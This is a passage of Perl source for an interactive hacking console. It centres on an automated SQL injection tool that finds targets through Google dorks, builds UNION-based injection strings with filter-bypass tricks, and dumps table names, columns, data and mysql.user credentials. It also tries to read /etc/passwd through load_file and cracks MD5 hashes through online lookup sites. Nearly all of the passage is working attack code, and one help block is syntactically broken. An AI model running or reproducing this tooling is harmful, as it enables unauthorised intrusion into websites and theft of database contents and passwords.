  118. elsif ($cmd =~/getip (.*)/) {
  119. my $te = $1;
  120. if ($te eq "" or $te eq " ") {
  121. print "\n[+] sintax : getip <host>\n";
  122. }
  123. print "\n[IP] : ".getip($1)."\n";
  124. print "\n";
  125. }
  126.  
  127. elsif ($cmd =~/getlink (.*)/) {
  128. print "[+] Extracting links in the page\n\n\n";
  129. $code = toma($1);
  130. my @re = get_links($code);
  131. for my $url(@re) {
  132. chomp $url;
  133. print "[Link] : $url\n";
  134. }
  135. print "\n\n[+] Finish\n";
  136. }
  137.  
  138. elsif ($cmd=~/help/) {
  139. helpme();
  140. }
  141.  
  142. elsif ($cmd=~/getprocess/) {
  143. my %re = getprocess();
  144.  
  145.  
  146. for my $data(keys %re) {
  147. ($proceso,$pid) = ($t=~/(.*):(.*)/ig);
  148. print "[+] Proceso : ".$data."\n";
  149. print "[+] PID : ".$re{$data}."\n\n";
  150. }
  151. }
  152. elsif ($cmd=~/killprocess (.*) (.*)/) {
  153. if (killprocess($1,$2)) {
  154. print "[+] Process $1 closed";
  155. }
  156. }
  157. elsif ($cmd=~/conec (.*) (.*) (.*)/) {
  158. print conectar($1,$2,$3);
  159. }
  160. elsif ($cmd=~/allow (.*)/) {
  161. $re = conectar($1,"80","GET / HTTP/1.0\r\n");
  162. if ($re=~/Allow:(.*)/ig) {
  163. print "[+] Metodos : ".$1."\n";
  164. }}
  165. elsif ($cmd=~/paths (.*)/) {
  166. scanpaths($1);
  167. }
  168. elsif ($cmd=~/encodehex (.*)/) {
  169. print "\n\n[+] ".hex_en($1)."\n\n";
  170. }
  171. elsif ($cmd=~/decodehex (.*)/) {
  172. print "\n\n[+] ".hex_de($1)."\n\n";
  173. }
  174. elsif ($cmd=~/download (.*) (.*)/) {
  175. my $file,$name = $1,$2;
  176. if (download($1,$2)) {
  177. print "[+] File downloaded\n";
  178. }
  179. }
  180. elsif ($cmd=~/encodeascii (.*)/) {
  181. print "\n\n[+] ".ascii($1)."\n\n";
  182. }
  183. elsif ($cmd=~/decodeascii (.*)/) {
  184. print "\n\n[+] ".ascii_de($1)."\n\n";
  185. }
  186. elsif ($cmd=~/encodebase (.*)/) {
  187. print "\n\n[+] ".base($1)."\n\n";
  188. }
  189. elsif ($cmd=~/decodebase (.*)/) {
  190. print "\n\n[+] ".base_de($1)."\n\n";
  191. }
  192. elsif ($cmd=~/aboutme/) {
  193. aboutme();
  194. }
  195. elsif ($cmd=~/scanport (.*)/) {
  196. scanport($1);
  197. }
  198. elsif ($cmd=~/panel (.*)/) {
  199. scanpanel($1);
  200. }
  201. elsif ($cmd=~/scangoogle/) {
  202. print "[Dork] : ";
  203. chomp(my $dork = <stdin>);
  204. print "\n\n[Pages] : ";
  205. chomp(my $pages = <stdin>);
  206. print "\n\n[Starting the search]\n\n";
  207. my @links = google($dork,$pages);
  208. print "\n[Links Found] : ".int(@links)."\n\n\n";
  209. print "[Starting the scan]\n\n\n";
  210. for my $link(@links) {
  211. if ($link=~/(.*)=/ig) {
  212. my $web = $1;
  213. sql($web."=");
  214. }}
  215. print "\n\n[+] Finish\n";
  216. }
  217. elsif ($cmd=~/getpass (.*)/) {
  218. crackit($1);
  219. }
  220. elsif ($cmd=~/ftp (.*) (.*) (.*)/) {
  221. ftp($1,$2,$3);
  222. }
  223. elsif ($cmd=~/navegator/) {
  224. nave:
  225. print getcwd().">";
  226. chomp(my $rta = <stdin>);
  227. print "\n\n";
  228. if ($rta=~/list/) {
  229. my @files = coleccionar(getcwd());
  230. for(@files) {
  231. if (-f $_) {
  232. print "[File] : ".$_."\n";
  233. } else {
  234. print "[Directory] : ".$_."\n";
  235. }}}
  236. if ($rta=~/cd (.*)/) {
  237. my $dir = $1;
  238. if (chdir($dir)) {
  239. print "\n[+] Directory changed\n";
  240. } else {
  241. print "\n[-] Error\n";
  242. }}
  243. if ($rta=~/del (.*)/) {
  244. my $file = getcwd()."/".$1;
  245. if (-f $file) {
  246. if (unlink($file)) {
  247. print "\n[+] File Deleted\n";
  248. } else {
  249. print "\n[-] Error\n";
  250. }
  251. } else {
  252. if (rmdir($file)) {
  253. print "\n[+] Directory Deleted\n";
  254. } else {
  255. print "\n[-] Error\n";
  256. }}}
  257. if ($rta=~/rename (.*) (.*)/) {
  258. if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
  259. print "\n[+] File Changed\n";
  260. } else {
  261. print "\n[-] Error\n";
  262. }}
  263. if ($rta=~/open (.*)/) {
  264. my $file = $1;
  265. chomp $file;
  266. system($file);
  267. #system(getcwd()."/".$file);
  268. }
  269. if ($rta=~/help/) {
  270. print "\nCommands : help cd list del rename open exit\n\n";
  271. }
  272. if ($rta=~/exit/) {
  273. next;
  274. }
  275. print "\n\n";
  276. goto nave;
  277. }
  278. elsif ($cmd=~/kobra (.*)/) {
  279. my $url = $1;
  280. chomp $url;
  281. scansqli($url,"--");
  282. }
  283. elsif ($cmd=~/mysql (.*) (.*) (.*)/) {
  284. enter($1,$2,$3);
  285. }
  286. elsif ($cmd=~/exit/) {
  287. copyright();
  288. <stdin>;
  289. exit(1);
  290. }
  291. else {
  292. system($cmd);
  293. }
  294. #print "\n\n";
  295. }
  296.  
  297.  
  298. sub scansqli {
  299. print "[Status] : Scanning.....\n";
  300. $pass = &bypass($_[1]);
  301. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  302. my $save = $auth;
  303. if ($_[0]=~/hackman/ig) {
  304. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  305. &menu_options($_[0],$pass,$save);
  306. }
  307. my ($gen,$save,$control) = &length($_[0],$_[1]);
  308. if ($control eq 1) {
  309. print "[Status] : Enjoy the menu\n\n";
  310. &menu_options($gen,$pass,$save);
  311. } else {
  312. print $control;
  313. print "[Status] : Length columns not found\n\n";
  314. menujo();
  315. }
  316. }
  317.  
  318. sub length {
  319. my $rows  = "0";
  320. my $asc;
  321. my $page = $_[0];
  322. ($pass1,$pass2) = &bypass($_[1]);
  323. $inyection = $page.$pass1."and".$pass1."1=0".$pass1."order".$pass1."by".$pass1."9999999999".$pass2;
  324. $code = toma($inyection);
  325. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/unknown column/ig || $code=~/Call to undefined function/ig) {
  326. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  327. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  328. unless ($testar1 eq $testar2) {
  329. my $patha = $1;
  330. chomp $patha;
  331. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  332. $total = "1";
  333. for my $rows(2..200) {
  334. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  335. $total.= ",".$rows;
  336. $injection = $page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  337. $test = toma($injection);
  338. if ($test=~/RATSXPDOWN/) {
  339. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  340. $control = 1;
  341. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  342. my $save = $auth;
  343. savefile($save.".txt","\n[Target confirmed] : $page");
  344. savefile($save.".txt","[Bypass] : $_[1]\n");
  345. savefile($save.".txt","[Limit] : The site has $rows columns");
  346. savefile($save.".txt","[Data] : The number @number print data");
  347. if ($patha) {
  348. savefile($save.".txt","[Full Path Discloure] : $patha");
  349. }
  350. $total=~s/$number[0]/hackman/;
  351. savefile($save.".txt","[SQLI] : ".$page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  352. return($page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  353. }}}}}
  354.  
  355.  
  356. sub details {
  357. my ($page,$bypass,$save) = @_;
  358. ($pass1,$pass2) = &bypass($bypass);
  359. savefile($save.".txt","\n");
  360. if ($page=~/(.*)hackman(.*)/ig) {
  361. print "\n\n[+] Searching information..\n\n";
  362. my  ($start,$end) = ($1,$2);
  363. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  364. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  365. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  366. $test1 = toma($inforschema);
  367. $test2 = toma($mysqluser);
  368. if ($test2=~/ERTOR854/ig) {
  369. savefile($save.".txt","[mysql.user] : ON");
  370. print "[mysql.user] : ON\n";
  371. } else {
  372. print "[mysql.user] : OFF\n";
  373. savefile($save.".txt","[mysql.user] : OFF");
  374. }
  375. if ($test1=~/ERTOR854/ig) {
  376. print "[information_schema.tables] : ON\n";
  377. savefile($save.".txt","[information_schema.tables] : ON");
  378. } else {
  379. print "[information_schema.tables] : OFF\n";
  380. savefile($save.".txt","[information_schema.tables] : OFF");
  381. }
  382. if ($test3=~/ERTOR854/ig) {
  383. print "[+] load_file permite ver los archivos\n";
  384. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  385. }
  386. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  387. $injection = $start.$concat.$end.$pass2;
  388. $code = toma($injection);
  389. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  390. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  391. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  392. } else {
  393. print "\n[-] Not found any data\n";
  394. }}}
  395.  
  396.  
  397. sub menu_options {
  398.  
  399. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  400. my $save = $auth;
  401. print "\n/logs/webs/$save>";
  402. chomp (my $rta = <stdin>);
  403.  
  404. if ($rta=~/help/) {
  405.  
  406. commands : details tables columns dbs othertable othercolumn
  407.           mysqluser dumper logs exit
  408.  
  409. );
  410. }
  411.  
  412.  
  413. if ($rta =~/tables/) {
  414. schematables($_[0],$_[1],$save);
  415. &reload;
  416. }
  417. elsif ($rta =~/columns (.*)/) {
  418. my $tabla = $1;
  419. schemacolumns($_[0],$_[1],$save,$tabla);
  420. &reload;
  421. }
  422. elsif ($rta =~/dbs/) {
  423. &schemadb($_[0],$_[1],$save);
  424. &reload;
  425. }
  426. elsif ($rta =~/othertable (.*)/) {
  427. my $data = $1;
  428. &schematablesdb($_[0],$_[1],$data,$save);
  429. &reload;
  430. }
  431. elsif ($rta =~/othercolumn (.*) (.*)/){
  432. my ($db,$table) = ($1,$2);
  433. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  434. &reload;
  435. }
  436. elsif ($rta =~/mysqluser/) {
  437. &mysqluser($_[0],$_[1],$save);
  438. &reload;
  439. }
  440. elsif ($rta=~/logs/) {
  441. $t = "logs/webs/$save.txt";
  442. system("start $t");
  443. &reload;
  444. }
  445. elsif ($rta=~/exit/) {
  446. next;
  447. }
  448.  
  449. elsif ($rta=~/dumper (.*) (.*) (.*)/) {
  450. my ($tabla,$col1,$col2) = ($1,$2,$3);
  451. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  452. &reload;
  453. }
  454. elsif ($rta =~/details/) {
  455. &details($_[0],$_[1],$save);
  456. &reload;
  457. }
  458. else {
  459. &reload;
  460. }
  461. }
  462.  
  463.  
  464.  
  465. sub schematables {
  466. $real = "1";
  467. my ($page,$bypass,$save) = @_;
  468. savefile($save.".txt","\n");
  469. print "\n";
  470. my $page1 = $page;
  471. ($pass1,$pass2) = &bypass($_[1]);
  472. savefile($save.".txt","[DB] : default");
  473. print "\n[+] Searching tables with schema\n\n";
  474. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  475. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  476. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  477. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  478. my $resto = $1;
  479. $total = $resto - 17;
  480. print "[+] Tables Length :  $total\n\n";
  481. savefile($save.".txt","[+] Searching tables with schema\n");
  482. savefile($save.".txt","[+] Tables Length :  $total\n");
  483. my $limit = $1;
  484. for my $limit(17..$limit) {
  485. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  486. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  487. my $table = $1;
  488. chomp $table;
  489. print "[Table $real Found : $table ]\n";
  490. savefile($save.".txt","[Table $real Found : $table ]");
  491. $real++;
  492. }}
  493. print "\n";
  494. } else {
  495. print "\n[-] information_schema = ERROR\n";
  496. }
  497. }
  498.  
  499. sub reload {
  500. &menu_options($_[0]);
  501. }
  502.  
  503.  
  504. sub schemacolumns {
  505. my ($page,$bypass,$save,$table) = @_;
  506. my $page3 = $page;
  507. my $page4 = $page;
  508. savefile($save.".txt","\n");
  509. print "\n";
  510. ($pass1,$pass2) = &bypass($bypass);
  511. print "\n[DB] : default\n";
  512. savefile($save.".txt","[DB] : default");
  513. savefile($save.".txt","[Table] : $table\n");
  514. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  515. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  516. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  517. print "\n[Columns Length : $1 ]\n\n";
  518. savefile($save.".txt","[Columns Length : $1 ]\n");
  519. my $si = $1;
  520. chomp $si;
  521. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  522. $real = "1";
  523. for my $limit2(0..$si) {
  524. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  525. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  526. print "[Column $real] : $1\n";
  527. savefile($save.".txt","[Column $real] : $1");
  528. $real++;
  529. }}
  530. print "\n";
  531. } else {
  532. print "\n[-] information_schema = ERROR\n";
  533. }}
  534.  
  535. sub schemadb {
  536. my ($page,$bypass,$save) = @_;
  537. my $page1 = $page;
  538. savefile($save.".txt","\n");
  539. print "\n\n[+] Searching DBS\n\n";
  540. ($pass1,$pass2) = &bypass($bypass);
  541. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  542. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  543. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  544. my $limita = $1;
  545. print "[+] Databases Length : $limita\n\n";
  546. savefile($save.".txt","[+] Databases Length : $limita\n");
  547. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  548. $real = "1";
  549. for my $limit(0..$limita) {
  550. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  551. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  552. my $control = $1;
  553. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  554. print "[Database $real Found] $control\n";
  555. savefile($save.".txt","[Database $real Found] : $control");
  556. $real++;
  557. }
  558. }
  559. }
  560. print "\n";
  561. } else {
  562. print "[-] information_schema = ERROR\n";
  563. }
  564. }
  565.  
  566. sub schematablesdb {
  567. my $page = $_[0];
  568. my $db = $_[2];
  569. my $page1 = $page;
  570. savefile($_[3].".txt","\n");
  571. print "\n\n[+] Searching tables with DB $db\n\n";
  572. ($pass1,$pass2) = &bypass($_[1]);
  573. savefile($_[3].".txt","[DB] : $db");
  574. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  575. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  576. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  577. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  578. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  579. print "[+] Tables Length :  $1\n\n";
  580. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  581. my $limit = $1;
  582. $real = "1";
  583. for my $lim(0..$limit) {
  584. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  585. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  586. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  587. my $table = $1;
  588. chomp $table;
  589. savefile($_[3].".txt","[Table $real Found : $table ]");
  590. print "[Table $real Found : $table ]\n";
  591. $real++;
  592. }}
  593. print "\n";
  594. } else {
  595. print "\n[-] information_schema = ERROR\n";
  596. }}
  597.  
  598. sub schemacolumnsdb {
  599. my ($page,$bypass,$db,$table,$save) = @_;
  600. my $page3 = $page;
  601. my $page4 = $page;
  602. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  603. savefile($save.".txt","\n");
  604. ($pass1,$pass2) = &bypass($_[1]);
  605. savefile($save.".txt","\n[DB] : $db");
  606. savefile($save.".txt","[Table] : $table");
  607. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  608. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  609. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  610. print "\n[Columns length : $1 ]\n\n";
  611. savefile($save.".txt","[Columns length : $1 ]\n");
  612. my $si = $1;
  613. chomp $si;
  614. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  615. $real = "1";
  616. for my $limit2(0..$si) {
  617. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  618. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  619. print "[Column $real] : $1\n";
  620. savefile($save.".txt","[Column $real] : $1");
  621. $real++;
  622. }
  623. }
  624. } else {
  625. print "\n[-] information_schema = ERROR\n";
  626. }
  627. print "\n";
  628. }
  629.  
  630. sub mysqluser {
  631. my ($page,$bypass,$save) = @_;
  632. my $cop = $page;
  633. my $cop1 = $page;
  634. savefile($save.".txt","\n");
  635. print "\n\n[+] Finding mysql.users\n";
  636. ($pass1,$pass2) = &bypass($bypass);
  637. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  638. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  639. if ($code=~/RATSXPDOWN/ig){
  640. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  641. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  642. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  643. print "\n[+] Users Found : $1\n\n";
  644. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  645. for my $limit(0..$1) {
  646. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  647. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  648. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  649. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  650. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  651. } else {
  652. print "\n";
  653. &reload;
  654. }
  655. }
  656. }
  657. } else {
  658. print "\n[-] mysql.user = ERROR\n\n";
  659. }
  660. }
  661.  
  662. sub dump {
  663. savefile($_[5].".txt","\n");
  664. my $page = $_[0];
  665. ($pass1,$pass2) = &bypass($_[4]);
  666. if ($page=~/(.*)hackman(.*)/){
  667. my $start = $1;
  668. my $end = $2;
  669. print "\n\n[+] Extracting values...\n\n";
  670. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  671. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  672. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  673. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  674. $tota = $1;
  675. print "[+] Table : $_[3]\n";
  676. print "[+] Length of the rows : $tota\n\n";
  677. print "[$_[1]] [$_[2]]\n\n";
  678. savefile($_[5].".txt","[Table] : $_[3]");
  679. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  680. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  681. for my $limit(0..$tota) {
  682. chomp $limit;
  683. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  684. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  685. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  686. print "[$_[1]] : $1   [$_[2]] : $2\n";
  687. } else {
  688. print "\n\n[+] Extracting Finish\n\n";
  689. &reload;
  690. }
  691. }
  692. } else {
  693. print "[-] Not Found any DATA\n\n";
  694. }}}
  695.  
  696. sub bypass {
  697. if ($_[0] eq "/*") { return ("/**/","/*"); }
  698. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  699. else {return ("+","--");}}
  700.  
  701. sub ascii {
  702. return join ',',unpack "U*",$_[0];
  703. }
  704.  
  705. sub base {
  706. $re = encode_base64($_[0]);
  707. chomp $re;
  708. return $re;
  709. }
  710.  
  711. sub base_de {
  712. $re = decode_base64($_[0]);
  713. chomp $re;
  714. return $re;
  715. }
  716.  
  717.  
  718. sub download {
  719. if ($nave->mirror($_[0],$_[1])) {
  720. if (-f $_[1]) {
  721. return true;
  722. }}}
  723.  
  724.  
  725. sub hex_en {
  726. my $string = $_[0];
  727. $hex = '0x';
  728. for (split //,$string) {
  729. $hex .= sprintf "%x", ord;
  730. }
  731. return $hex;
  732. }
  733.  
  734. sub hex_de {
  735. my $text = shift;
  736. $text =~ s/^0x//;
  737. $encode = join q[], map { chr hex } $text =~ /../g;
  738. return $encode;
  739. }
  740.  
  741. sub ascii_de {
  742. my $text = shift;
  743. $text = join q[], map { chr } split q[,],$text;
  744. return $text;
  745. }
  746.  
  747. sub getprocess {
  748.  
  749. my %procesos;
  750.  
  751. my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  752. my $dos = $uno->ConnectServer("","root\\cimv2");
  753.  
  754. foreach my $pro (in $dos->InstancesOf("Win32_Process")){
  755. $procesos{$pro->{Caption}} = $pro->{ProcessId};
  756. }
  757. return %procesos;
  758. }
  759.  
  760. sub killprocess {
  761.  
  762. my ($numb,$pid) = @_;
  763.  
  764. if (Win32::Process::KillProcess($pid,$numb)) {
  765. return true;
  766. } else {
  767. return false;
  768. }
  769. }
  770.  
  771. sub getip {
  772. my $get = gethostbyname($_[0]);
  773. return inet_ntoa($get);
  774. }
  775.  
  776. sub crackit {
  777.  
  778. my $secret = $_[0];
  779.  
  780. print "[+] Cracking $_[0]\n\n";
  781.  
  782. my %hash = (
  783.  
  784. 'http://passcracking.com/' => {
  785. 'tipo'  => 'post',
  786. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  787. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  788. },  
  789. 'http://md5.hashcracking.com/search.php?md5=' =>  {
  790. 'tipo' => 'get',
  791. 'regex' => 'Cleartext of $_[0] is (.*)',
  792. },
  793. 'http://www.bigtrapeze.com/md5/' =>  {
  794. 'tipo' => 'post',
  795. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  796. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  797. },
  798. 'http://opencrack.hashkiller.com/' =>  {
  799. 'tipo' => 'post',
  800. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  801. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  802. },
  803. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
  804. 'tipo' => 'post',
  805. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  806. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  807. },
  808. 'http://victorov.su/md5/?md5e=&md5d=' =>  {
  809. 'tipo' => 'get',
  810. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  811. }
  812. );
  813.  
  814. for my $data(keys %hash) {
  815.  
  816. if ($hash{$data}{tipo} eq "get") {
  817. $code = toma($data.$_[0]);
  818. if ($code=~/$hash{$data}{regex}/ig) {
  819. print "\n[+] Decoded : ".$1."\n\n";
  820. saveyes("logs/pass-found.txt",$secret.":".$1);
  821. }
  822. } else {
  823. $code = tomar($data,$hash{$data}{variables});
  824. if ($code=~/$hash{$data}{regex}/ig) {
  825. saveyes("logs/pass-found.txt",$secret.":".$1);
  826. }
  827. }
  828. }
  829. print "\n[+] Finish\n";
  830. }
  831.  
  832. sub ftp {
  833.  
  834. my ($ftp,$user,$pass) = @_;
  835.  
  836. if (my $socket = Net::FTP->new($ftp)) {
  837. if ($socket->login($user,$pass)) {
  838.  
  839. print "\n[+] Enter of the server FTP\n\n";
  840.  
  841. menu:
  842.  
  843. print "\n\nftp>";
  844. chomp (my $cmd = <stdin>);
  845. print "\n\n";
  846.  
  847. if ($cmd=~/help/) {
  848. print q(
  849.  
  850. help : show information
  851. cd : change directory <dir>
  852. dir : list a directory
  853. mdkdir : create a directory <dir>
  854. rmdir : delete a directory <dir>
  855. pwd : directory  
  856. del : delete a file <file>
  857. rename : change name of the a file <file1> <file2>
  858. size : size of the a file <file>
  859. put : upload a file <file>
  860. get : download a file <file>
  861. cdup : change dir <dir>
  862. exit : ??
  863.  
  864.  
  865. );
  866. }
  867.  
  868. if ($cmd=~/dir/ig) {
  869. if (my @files = $socket->dir()) {
  870. for(@files) {
  871. print "[+] ".$_."\n";
  872. }
  873. } else {
  874. print "\n\n[-] Error\n\n";
  875. }
  876. }
  877.  
  878. if ($cmd=~/pwd/ig) {
  879. print "[+] Path : ".$socket->pwd()."\n";
  880. }
  881.  
  882. if ($cmd=~/cd (.*)/ig) {
  883. if ($socket->cwd($1)) {
  884. print "[+] Directory changed\n";
  885. } else {
  886. print "\n\n[-] Error\n\n";
  887. }
  888. }
  889.  
  890. if ($cmd=~/cdup/ig) {
  891. if (my $dir = $socket->cdup()) {
  892. print "\n\n[+] Directory changed\n\n";
  893. } else {
  894. print "\n\n[-] Error\n\n";
  895. }
  896. }
  897.  
  898. if ($cmd=~/del (.*)/ig) {
  899. if ($socket->delete($1)) {
  900. print "[+] File deleted\n";
  901. } else {
  902. print "\n\n[-] Error\n\n";
  903. }
  904. }
  905.  
  906. if ($cmd=~/rename (.*) (.*)/ig) {
  907. if ($socket->rename($1,$2)) {
  908. print "[+] File Updated\n";
  909. } else {
  910. print "\n\n[-] Error\n\n";
  911. }
  912. }
  913.  
  914. if ($cmd=~/mkdir (.*)/ig) {
  915. if ($socket->mkdir($1)) {
  916. print "\n\n[+] Directory created\n";
  917. } else {
  918. print "\n\n[-] Error\n\n";
  919. }
  920. }
  921.  
  922. if ($cmd=~/rmdir (.*)/ig) {
  923. if ($socket->rmdir($1)) {
  924. print "\n\n[+] Directory deleted\n";
  925. } else {
  926. print "\n\n[-] Error\n\n";
  927. }
